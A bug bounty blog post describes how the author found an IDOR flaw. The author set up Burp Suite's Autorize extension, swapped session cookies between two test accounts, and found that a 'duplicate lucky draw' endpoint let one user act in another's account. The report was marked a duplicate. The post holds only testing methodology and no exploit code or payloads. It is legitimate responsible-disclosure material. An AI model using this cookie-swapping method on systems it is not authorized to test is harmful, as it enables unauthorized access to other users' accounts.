            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rq0JmrrC92JrhbyejKfAfg.png" /></figure><p>Hello Guys, what’s up</p><p>hope you guys all are doing well.</p><p>Here is my write-up, I’m gonna tell you about my recent finding and my first IDOR(Insecure direct object references).</p><blockquote><strong>Insecure direct object references (IDOR) are a type of access control vulnerability that arises when an application uses user-supplied input to access objects directly.</strong></blockquote><p>You guys know about IDOR so without wasting time let’s move forward to set up over burp extension(Autorize).</p><blockquote><strong>Autorize: Autorize is an extension aimed at helping the penetration tester to detect authorization vulnerabilities, one of the more time-consuming tasks in a web application penetration test.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1wekZz8bVdc5OszxSGag2g.png" /></figure><p>If there is a message as shown in the screenshot above saying to download <a href="https://www.jython.org/download.html">Jython</a>, you’ll need to do that first.</p><p>Go to <a href="https://www.jython.org/download.html">https://www.jython.org/download.html</a> and download the Jython standalone jar file.</p><p>After download, that file goes Extender -&gt; Options -&gt; under Python environment add that file.</p><p>Now you will be able to install Autorize Extension. After installing Autorize you will see one new tab add-in burp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JBUi1P-CahY6SKCvr2_FgQ.png" /></figure><p>We need to Configure this Extension firstly.</p><p>If you do not have an idea about this extension, how this work, and all its uses, refer to this blog:</p><p><a href="https://authorizedentry.medium.com/how-to-use-autorize-fcd099366239">How to use Autorize</a></p><p>After Configuration, I created Two accounts user A and user B.</p><p>I copied the <strong>user A</strong> cookie and past it in Autorize under Temporary Header. we need to specify the target range as well so for that add your target in scope and add a filter in Autorize -&gt; Interception Filters -&gt; Scope items only.</p><p>Turn on Your Autorize by clicking here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/260/1*X1blaxWXiM8UVYKr3eU6rg.png" /></figure><p>Now All set, let&#39;s find IDOR…</p><p>Turn on your proxy in the browser and visit all possible endpoints with the <strong>User B</strong> browser.</p><p>I am not disclosing my target name or where I found a vulnerability because if I let you know, In which functionality I found this bug then you guys easily guess What could be the name of the target. because that functionality is being itself of target name so Let’s take an example similar to my finding.</p><p>There is one functionality to the held lucky draw and we can add, delete, edit and duplicate that lucky draw. so there will be all authorized endpoints for the users. I just used all functionality as a normal user. create one lucky drow, edit that, delete that, and there is one button through which I could add duplicate lucky drow as I previously created. so just normal use I check all endpoints and all functionality.</p><p>Now Let’s come to our burp and check Autorize.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u4WE4ynAZ7k3wcFbiWLhOQ.png" /></figure><p>You can see Above there is a total of three status.</p><p>Enforced!, Is enforced??, and Bypassed.</p><p>we have to focus on Bypassed! so wherever you see the bypassed word, You have bypassed the endpoint. In my case, there are many Bypassed status, but those all are not positive results because I visit the site as a normal user, and as I previously said Authentication is not required to access all endpoints and functionality. there could be many endpoints has non authenticated.</p><p>So I just check which endpoints had bypassed, My attention came to “https://example.com/lucky draw/id(1234)/duplicate” and I know this endpoint is authenticated endpoint, I was able to add duplicate lucky draw in anyone’s account. So here I was found successful IDOR.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*3JlWTJsRSJ3P-p-Fp7F3sQ.jpeg" /></figure><p>I quickly made a report and POC.</p><p>28 January 2022: I reported.</p><p>3 February 2022: mark as Duplicated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*D3E-332UrCDHRxBwql_LQQ.png" /></figure><p>No worries it&#39;s Part of bug Hunting.</p><p>Kindly feel free to point out any mistakes and do let me know where I can improve in writing and explaining in detail.</p><p>That’s all for this article, if you found anything helpful then clapped for this article.</p><p>Thank you to everyone for reading!</p><p>Twitter:<a href="https://twitter.com/VivekGhinaiya"> https://twitter.com/VivekGhinaiya</a></p><p>Linkdin: <a href="https://www.linkedin.com/in/vivek-ghinaiya-b3b560202/">https://www.linkedin.com/in/vivek-ghinaiya-b3b560202/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=929c4f6a3734" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>